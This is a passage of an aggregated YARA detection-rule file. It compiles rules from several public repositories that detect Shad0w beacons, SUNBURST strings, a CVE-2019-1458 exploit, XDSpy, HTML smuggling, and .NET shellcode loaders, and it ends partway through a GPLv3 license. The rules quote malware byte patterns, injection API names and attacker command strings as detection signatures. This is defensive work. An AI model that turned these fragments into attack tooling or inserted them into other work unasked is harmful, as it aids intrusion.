		$LdrLoadDLL = {c6 44 24 50 4c c6 44 24 51 64 c6 44 24 52 72 c6 44 24 53 4c c6 44 24 54 6f c6 44 24 55 61 c6 44 24 56 64 c6 44 24 57 44 c6 44 24 58 6c c6 44 24 59 6c}
		$ZwFreeVirtualMemory = {c6 44 24 30 5a c6 44 24 31 77 c6 44 24 32 46 c6 44 24 33 72 c6 44 24 34 65 c6 44 24 35 65 c6 44 24 36 56 c6 44 24 37 69 c6 44 24 38 72 c6 44 24 39 74 c6 44 24 3a 75 c6 44 24 3b 61 c6 44 24 3c 6c c6 44 24 3d 4d c6 44 24 3e 65 c6 44 24 3f 6d c6 44 24 40 6f c6 44 24 41 72 c6 44 24 42 79}
	condition:
		3 of them
}

/*
 * YARA Rule Set
 * Repository Name: AvastTI
 * Repository: https://github.com/avast/ioc
 * Retrieval Date: 2026-03-15
 * Git Commit: 95f8e5920fa5b518801904099e603ec86fde95ba
 * Number of Rules: 30
 * Skipped: 0 (age), 3 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */

/*
 * YARA Rule Set
 * Repository Name: SBousseaden
 * Repository: https://github.com/sbousseaden/YaraHunts/
 * Retrieval Date: 2026-03-15
 * Git Commit: 71b27a2a7c57c2aa1877a11d8933167794e2b4fb
 * Number of Rules: 18
 * Skipped: 1 (age), 8 (quality), 14 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */

rule SBOUSSEADEN_Shad0W_Ldrloaddll_Hook : FILE
{
	meta:
		description = "Shad0w beacon LdrLoadDll hook"
		author = "SBousseaden"
		id = "f9f75b96-2341-553f-b6ca-28d6cb9b880a"
		date = "2020-06-06"
		modified = "2020-06-07"
		reference = "https://github.com/bats3c/shad0w"
		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w_ldrhook.yara#L1-L13"
		license_url = "N/A"
		logic_hash = "28e8ca9eee2377fd816dd3bd29e05f4146cea975e0ba5ec180073e10a49895e0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "LdrLoadD"
		$s2 = "SetPr"
		$s3 = "Policy"
		$s4 = {B8 49 BB DE AD C0}
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* )
}

rule SBOUSSEADEN_Infinityhook : FILE
{
	meta:
		description = "Infinityhook is a legit research PoC to hook NT Syscalls bypassing PatchGuard"
		author = "SBousseaden"
		id = "82f4eef2-fca7-58b1-a85c-3c237f523740"
		date = "2020-09-07"
		modified = "2020-07-10"
		reference = "https://github.com/everdox/InfinityHook"
		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/infinityhook.yara#L1-L17"
		license_url = "N/A"
		logic_hash = "c621ce3be8049de7584af73ca4472df5561d3c4ac8b458937db2ad68fdcbe2d8"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$EtwpDebuggerPattern = {00 2C 08 04 38 0C 00}
		$SMV = {00 00 76 66 81 3A 02 18 50 00 75 0E 48 83 EA 08 B8 33 0F 00}
		$KVASCODE = {4B 56 41 53 43 4F 44 45}
		$CKL = "Circular Kernel Context Logger" wide nocase
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}


rule SBOUSSEADEN_TDL_Loader_Bootstrap_Shellcode : FILE
{
	meta:
		description = "No description has been set in the source file - SBousseaden"
		author = "SBousseaden"
		id = "a2adedef-ba38-599f-b52c-e2156aa5ef98"
		date = "2020-10-10"
		modified = "2020-10-10"
		reference = "https://github.com/hfiref0x/TDL"
		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/tdl_loader_bootstrat_shellcode.yara#L1-L9"
		license_url = "N/A"
		logic_hash = "14a993b415e330e284503c409ab66445c5e369a21ef0be37297d9c8946b5559b"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$shc1 = {41 B8 54 64 6C 53 48 63 6B 3C 48 03 EB 44 8B 7D 50 41 8D 97 00 10 00 00 41 FF D1}
		$shc2 = {41 B8 54 64 6C 53 4C 63 73 3C 4C 03 F3 45 8B 7E 50 41 8D 97 00 10 00 00 41 FF D1 45 33 C9}
	condition:
		uint16( 0 ) == 0x5a4d and any of ( $shc* )
}


rule SBOUSSEADEN_APT_Solarwind_Backdoor_Encoded_Strings : FILE
{
	meta:
		description = "This rule is looking for some key encoded strings of the SUNBURST backdoor"
		author = "SBousseaden"
		id = "04a63bd6-9737-568f-a20e-c573b915cbd4"
		date = "2020-12-14"
		modified = "2020-12-18"
		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/apt_solarwinds_backdoor_encoded_strings.yara#L1-L28"
		license_url = "N/A"
		hash = "846e27a652a5e1bfbd0ddd38a16dc865"
		logic_hash = "8808cca8d89f089a8bca5ef62c1764061c8210ba5f9813c886d6ed9f79579ba6"
		score = 75
		quality = 75
		tags = "FILE"
		sha2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
	strings:
		$sw = "SolarWinds"
		$priv1 = "C04NScxO9S/PSy0qzsgsCCjKLMvMSU1PBQA=" wide
		$priv2 = "C04NzigtSckvzwsoyizLzElNTwUA" wide
		$priv3 = "C04NSi0uyS9KDSjKLMvMSU1PBQA=" wide
		$disc1 = "C0gsSs0rCSjKT04tLvZ0AQA=" wide
		$disc2 = "c0zJzczLLC4pSizJLwIA" wide
		$disc3 = "c/ELdsnPTczMCy5NS8usCE5NLErO8C9KSS0CAA==" wide
		$wmi1 = "C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==" wide
		$wmi2 = "C07NSU0uUdBScCvKz1UIz8wzNooPKMpPTi0uBgA=" wide
		$wmi3 = "C07NSU0uUdBScCvKz1UIz8wzNooPLU4tckxOzi/NKwEA" wide
		$wmi4 = "C07NSU0uUdBScCvKz1UIz8wzNor3Sy0pzy/KdkxJLChJLXLOz0vLTC8tSizJzM9TKM9ILUpV8AxwzUtMyklNsS0pKk0FAA=="
		$key1 = "C44MDnH1jXEuLSpKzStxzs8rKcrPCU4tiSlOLSrLTE4tBgA=" wide
		$key2 = "Cy5JLCoBAA==" wide
		$pat1 = "i6420DGtjVWoNqzlAgA=" wide
		$pat2 = "i6420DGtjVWoNtTRNTSrVag2quWsNgYKKVSb1MZUm9ZyAQA=" wide
		$pat3 = "qzaoVag2rFXwCAkJ0K82quUCAA==" wide
		$pat4 = {9D 2A 9A F3 27 D6 F8 EF}
	condition:
		uint16( 0 ) == 0x5a4d and $sw and ( 2 of ( $pat* ) or 2 of ( $priv* ) or all of ( $disc* ) or 2 of ( $wmi* ) or all of ( $key* ) )
}

rule SBOUSSEADEN_Cve_2019_1458 : FILE
{
	meta:
		description = "No description has been set in the source file - SBousseaden"
		author = "SBousseaden"
		id = "7bcbfccb-2db0-5438-9ed1-eee4c92710b6"
		date = "2020-10-22"
		modified = "2020-10-23"
		reference = "https://github.com/unamer/CVE-2019-1458"
		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_cve_2019_1458.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "8c5eac6b9fb9f87e0ffb219f0af8f83475799e062ed339da7a0525180292f5f2"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "RtlGetVersion"
		$s2 = {45 33 C9 BA 03 80 00 00 33 C9}
		$s3 = "SploitWnd"
		$s4 = "CreateWindowExW"
		$s5 = "GetKeyboardState"
		$s6 = "SetKeyboardState"
		$s7 = "SetWindowLongPtrW"
		$s9 = "SetClassLongPtrW"
		$s10 = "DestroyWindow"
		$s11 = "CreateProcess"
		$s12 = {4C 8B D1 8B 05 ?? ?? ?? 00 0F 05 C3}
		$s13 = {80 10 00 00 09 10}
		$s14 = "NtUserMessageCall"
		$s15 = "HMValidateHandle"
		$s16 = "IsMenu"
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SBOUSSEADEN_APT_Xdsspy_Xdupload : FILE
{
	meta:
		description = "No description has been set in the source file - SBousseaden"
		author = "SBousseaden"
		id = "ae38d017-6420-596c-af29-62f15cfe56b8"
		date = "2020-05-10"
		modified = "2020-10-05"
		reference = "https://www.welivesecurity.com/2020/10/02/xdspy-stealing-government-secrets-since-2011/"
		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/apt_xdspy_xdupload.yara#L1-L11"
		license_url = "N/A"
		logic_hash = "648ea81d1b44d8514439683cf2f86a8027f9e1eb64abf76d42347fc2ce9c4e68"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "cmd.exe /u /c cd /d \"%s\" & dir /a /-c" wide
		$s2 = "commandC_dll.dll"
		$s3 = "cmd.exe /u /c del" wide
	condition:
		uint16( 0 ) == 0x5a4d and 2 of ( $s* )
}



rule SBOUSSEADEN_Shad0W_Beacon_16June : FILE
{
	meta:
		description = "Shad0w beacon compressed"
		author = "SBousseaden"
		id = "1229e84f-bf6e-5e87-9351-a48cd50397b0"
		date = "2020-06-16"
		modified = "2020-06-17"
		reference = "https://github.com/bats3c/shad0w"
		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w_beacon_16June.yara#L1-L13"
		license_url = "N/A"
		logic_hash = "c313e995d6eaae6d2ee63964f6fc94964065af7a61d7f304280d914e6f0dd548"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = {F2 AE ?? ?? ?? FF 15 ?? ?? 00 00 48 09 C0 74 09}
		$s2 = {33 2E 39 36 00 ?? ?? ?? 21 0D 24 0E 0A}
		$s3 = "VirtualProtect"
		$s4 = "GetProcAddress"
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* )
}

/*
 * YARA Rule Set
 * Repository Name: Elceef
 * Repository: https://github.com/elceef/yara-rulz
 * Retrieval Date: 2026-03-15
 * Git Commit: 791721372091836f5bf477d7f21114f45a310052
 * Number of Rules: 16
 * Skipped: 0 (age), 3 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * MIT License

Copyright (c) 2022 Marcin Ulikowski

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

 */
rule ELCEEF_ZIP_High_Ratio_Single_Doc : FILE
{
	meta:
		description = "Detects ZIP archives containing single MS Word document with unusually high compression ratio"
		author = "marcin@ulikowski.pl"
		id = "0fbe89d9-1bf5-50a9-b6c1-1d739162a2ba"
		date = "2023-03-08"
		modified = "2023-03-08"
		reference = "https://github.com/elceef/yara-rulz"
		source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/ZIP_High_Ratio_Single_Doc.yara#L8-L27"
		license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE"
		logic_hash = "470300b8d6356cff43a1e2be3a23a97be5d1e2ce5a76f2fb2eccdbbb47a4d327"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "4d9a6dfca804989d40eeca9bb2d90ef33f3980eb07ca89bbba06d0ef4b37634b"
		hash2 = "4bc2d14585c197ad3aa5836b3f7d9d784d7afe79856e0ddf850fc3c676b6ecb1"
	strings:
		$magic = { 50 4b 03 04 }
		$ext = ".doc"
	condition:
		filesize < 1MB and $magic at 0 and #magic == 1 and uint32( 22 ) > 1024 * 1024 * 100 and $ext at ( uint16( 26 ) + 26 )
}



rule ELCEEF_HTML_Smuggling_C : T1027 FILE
{
	meta:
		description = "Generic detection for HTML smuggling (T1027.006)"
		author = "marcin@ulikowski.pl"
		id = "ea1eafad-905b-571e-a016-8774e65bd976"
		date = "2023-04-17"
		modified = "2023-04-17"
		reference = "https://github.com/elceef/yara-rulz"
		source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/HTML_Smuggling.yara#L62-L82"
		license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE"
		logic_hash = "83409b0b173980975f6349e448e72fe1b2115fc7dbdec8ee7ad1826a65db17d3"
		score = 75
		quality = 75
		tags = "T1027, FILE"
		hash1 = "0b4cdfc8ae8ae17d7b6786050f1962c19858b91febb18f61f553083f57d96fea"
		hash2 = "2b99bf97f3d02ba3b44406cedd1ab31824723b56a8aae8057256cc87870c199e"
		hash3 = "904ea1ada62cfd4b964a6a3eb9bab5b98022ab000f77b75eb265a2ac44b45b37"
	strings:
		$blob = "new Blob("
		$array = "new Uint8Array("
		$mssave = { ( 2e | 22 | 27 ) 6d 73 53 61 76 65 }
		$loop = { ?? 5b 69 5d ( 3d | 20 3d | 3d 20 | 20 3d 20 ) ?? 5b 69 5d ( 2d | 20 2d | 2d 20 | 20 2d 20 ) 3? 3b }
	condition:
		filesize < 5MB and $mssave and #blob == 1 and #array == 1 and #loop == 1
}

rule ELCEEF_HTA_Wscriptshell_Onenote : FILE
{
	meta:
		description = "Detects suspicious OneNote documents with embedded HTA + WScript.Shell"
		author = "marcin@ulikowski.pl"
		id = "8cebd862-8dfb-5f5d-befb-5c41cde945ff"
		date = "2023-02-01"
		modified = "2023-02-02"
		reference = "https://github.com/elceef/yara-rulz"
		source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/HTA_OneNote.yara#L1-L17"
		license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE"
		logic_hash = "0287ac5d618c9a8332d167f1a05157aa829c7e8a052c35100fcaeb644d452e5c"
		score = 65
		quality = 75
		tags = "FILE"
		hash1 = "002fe00bc429877ee2a786a1d40b80250fd66e341729c5718fc66f759387c88c"
	strings:
		$magic = { ae b1 53 78 d0 29 96 d3 }
		$hta = { 00 04 00 00 00 2e 00 68 00 74 00 61 }
		$wsh = "CreateObject(\"WScript.Shell\")"
	condition:
		filesize < 5MB and $magic at 8 and $wsh and $hta
}

/*
 * YARA Rule Set
 * Repository Name: Cod3nym
 * Repository: https://github.com/cod3nym/detection-rules/
 * Retrieval Date: 2026-03-15
 * Git Commit: 86a04c4594cb48895192aad4af164f21f568c136
 * Number of Rules: 8
 * Skipped: 0 (age), 2 (quality), 4 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * ## Detection Rule License (DRL) 1.1

Permission is hereby granted, free of charge, to any person obtaining a copy 
of this rule set and associated documentation files (the "Rules"), to deal 
in the Rules without restriction, including without limitation the rights to 
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 
of the Rules, and to permit persons to whom the Rules are furnished to do so, 
subject to the following conditions:

If you share the Rules (including in modified form), you must retain the 
following if it is supplied within the Rules:

1. identification of the authors(s) ("author" field) of the Rule and any 
   others designated to receive attribution, in any reasonable manner 
   requested by the Rule author (including by pseudonym if designated).

2. a URI or hyperlink to the Rule set or explicit Rule to the extent 
   reasonably practicable

3. indicate the Rules are licensed under this Detection Rule License, and 
   include the text of, or the URI or hyperlink to, this Detection Rule 
   License to the extent reasonably practicable

If you use the Rules (including in modified form) on data, messages based on 
matches with the Rules must retain the following if it is supplied within the 
Rules:

1. identification of the authors(s) ("author" field) of the Rule and any 
   others designated to receive attribution, in any reasonable manner 
   requested by the Rule author (including by pseudonym if designated).

THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 
OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE 
RULES.

 */
rule COD3NYM_SUSP_NET_Shellcode_Loader_Indicators_Jan24 : FILE
{
	meta:
		description = "Detects indicators of shellcode loaders in .NET binaries"
		author = "Jonathan Peters"
		id = "606a444a-b894-5076-8d5e-1716bbfa588e"
		date = "2024-01-11"
		modified = "2024-01-12"
		reference = "https://github.com/Workingdaturah/Payload-Generator/tree/main"
		source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/suspicious_indicators.yar#L1-L22"
		license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md"
		hash = "c48752a5b07b58596564f13301276dd5b700bd648a04af2e27d3f78512a06408"
		logic_hash = "28267eb54a4108924df57512bbae9f47f51fd4860b3cf93c014d73b0d4b2dec2"
		score = 65
		quality = 80
		tags = "FILE"
	strings:
		$sa1 = "VirtualProtect" ascii
		$sa2 = "VirtualAlloc" ascii
		$sa3 = "WriteProcessMemory" ascii
		$sa4 = "CreateRemoteThread" ascii
		$sa5 = "CreateThread" ascii
		$sa6 = "WaitForSingleObject" ascii
		$x = "__StaticArrayInitTypeSize=" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 3 of ( $sa* ) and #x == 1
}

rule COD3NYM_SUSP_OBF_NET_Confuserex_Packer_Jan24 : FILE
{
	meta:
		description = "Detects binaries packed with ConfuserEx compression packer. This feature compresses and encrypts the actual image into a stub that unpacks and loads the original image on runtime."
		author = "Jonathan Peters"
		id = "cd53a62f-62e3-58a1-8bc3-7f40949e3f00"
		date = "2024-01-09"
		modified = "2024-01-09"
		reference = "https://github.com/yck1509/ConfuserEx/tree/master"
		source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/obf_confuserex.yar#L23-L42"
		license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md"
		hash = "2570bd4c3f564a61d6b3d589126e0940af27715e1e8d95de7863579fbe25f86f"
		logic_hash = "43aee4c01b47ca04ee516d418939ec3e90fd08566f2a4b501c4698b7f9e0225d"
		score = 70
		quality = 80
		tags = "FILE"
	strings:
		$s1 = "GCHandle" ascii
		$s2 = "GCHandleType" ascii
		$op1 = { 5A 20 89 C0 3F 14 6A 5E [8-20] 5A 20 FB 56 4D 44 6A 5E 6D 9E }
		$op2 = { 20 61 FF 6F 00 13 ?? 06 13 ?? 16 13 [10-20] 20 1F 3F 5E 00 5A}
		$op3 = { 16 91 7E [3] 04 17 91 1E 62 60 7E [3] 04 18 91 1F 10 62 60 7E [3] 04 19 91 1F 18 62 }
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* ) and 2 of ( $op* )
}




rule COD3NYM_MAL_NET_Niximports_Loader_Jan24 : FILE
{
	meta:
		description = "Detects open-source NixImports .NET malware loader. A stealthy loader using dynamic import resolving to evade static detection"
		author = "Jonathan Peters"
		id = "f36ad127-4c4b-5b7e-a13c-bfb9d222a438"
		date = "2024-01-12"
		modified = "2024-01-12"
		reference = "https://github.com/dr4k0nia/NixImports/tree/master"
		source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/mal/mal_net_niximports_loader.yar#L1-L22"
		license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md"
		hash = "dd3f22871879b0bc4990c96d1de957848c7ed0714635bb036c73d8a989fb0b39"
		logic_hash = "e41d7f4cb46aa0baa87d3024e0550efe5058ca49d908bbd34197431c7c054e58"
		score = 80
		quality = 80
		tags = "FILE"
	strings:
		$op1 = { 1F 0A 64 06 1F 11 62 60 }
		$op2 = { 03 20 4D 5A 90 00 94 4B 2A }
		$op3 = { 20 DE 7A 1F F3 20 F7 1B 18 BC }
		$op4 = { 20 CE 1F BE 70 20 DF 1F 3E F8 14 }
		$sa1 = "OffsetToStringData" ascii
		$sa2 = "GetRuntimeMethods" ascii
		$sa3 = "netstandard" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $sa* ) and 2 of ( $op* )
}

rule COD3NYM_SUSP_Direct_Syscall_Shellcode_Invocation_Jan24 : FILE
{
	meta:
		description = "Detects direct syscall evasion technqiue using NtProtectVirtualMemory to invoke shellcode"
		author = "Jonathan Peters"
		id = "2a0ce887-299d-5aad-bed3-3e698b4dea79"
		date = "2024-01-14"
		modified = "2024-01-14"
		reference = "https://unprotect.it/technique/evasion-using-direct-syscalls/"
		source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/other/susp_direct_syscall_shellcode_invocation.yar#L1-L14"
		license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md"
		hash = "f7cd214e7460c539d6f8d02b6650098e3983862ff658b76ea02c33f5a45fc836"
		logic_hash = "b5b0ad86289a4e2af7cdc909192f4dc9325c1763259f40adcc1e60c088c9e4f3"
		score = 65
		quality = 80
		tags = "FILE"
	strings:
		$ = { B8 40 00 00 00 67 4C 8D 08 49 89 CA 48 C7 C0 50 00 00 00 0F 05 [4-8] 4C 8D 3D 02 00 00 00 FF E0 }
	condition:
		all of them and filesize < 2MB
}

/*
 * YARA Rule Set
 * Repository Name: craiu
 * Repository: https://github.com/craiu/yararules
 * Retrieval Date: 2026-03-15
 * Git Commit: 23cf0ca22021fa3684e180a18416b9ae1b695243
 * Number of Rules: 10
 * Skipped: 1 (age), 2 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 *                     GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
